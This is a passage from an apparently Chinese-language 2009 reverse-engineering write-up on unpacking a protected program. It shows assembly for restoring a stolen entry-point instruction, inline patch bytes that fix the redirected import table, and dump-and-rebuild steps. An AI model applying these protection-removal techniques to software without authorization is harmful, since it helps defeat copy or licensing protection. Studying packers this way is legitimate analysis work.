然后下面一个跨段跳转 可以知道这里肯定是把push 0给偷掉了
/*3D0C52*/ TEST EDI,874CDC1C
/*3D0C58*/ AND EDI,9378C643
/*3D0C5E*/ JMP 0006.0040110D

过了这个JMP后算真正来到代码里了，当然要把第一条指令push 0给补上。
-----------------------------华丽的分割线--------------------------------

到OEP还不算完事，因为它把IAT也弄的一团糟。


pacth代码吧
/*3B0C05*/ MOV DWORD PTR DS:[ECX],EAX
首先改为 jmp 3b1800


89 01 53 8B 58 38 89 18 5B 83 C7 04 E9 F9 F3 FF FF 90

/*3B1800*/ MOV DWORD PTR DS:[ECX],EAX
/*3B1802*/ PUSH EBX
/*3B1803*/ MOV EBX,DWORD PTR DS:[EAX+38] //在偏移38处放的是正确API地址
/*3B1806*/ MOV DWORD PTR DS:[EAX],EBX
/*3B1808*/ POP EBX
/*3B1809*/ ADD EDI,4
/*3B180C*/ JMP 003B0C0A
/*3B1811*/ NOP

dump后 修复时用获取API调用 再新建个IAT 就OK了。

不过有时候会有一个api获取失败，那时侯再手动修复吧。我不想弄了。

反正脱主程序时没问题。

]]> 2009-04-22T16:04:13Z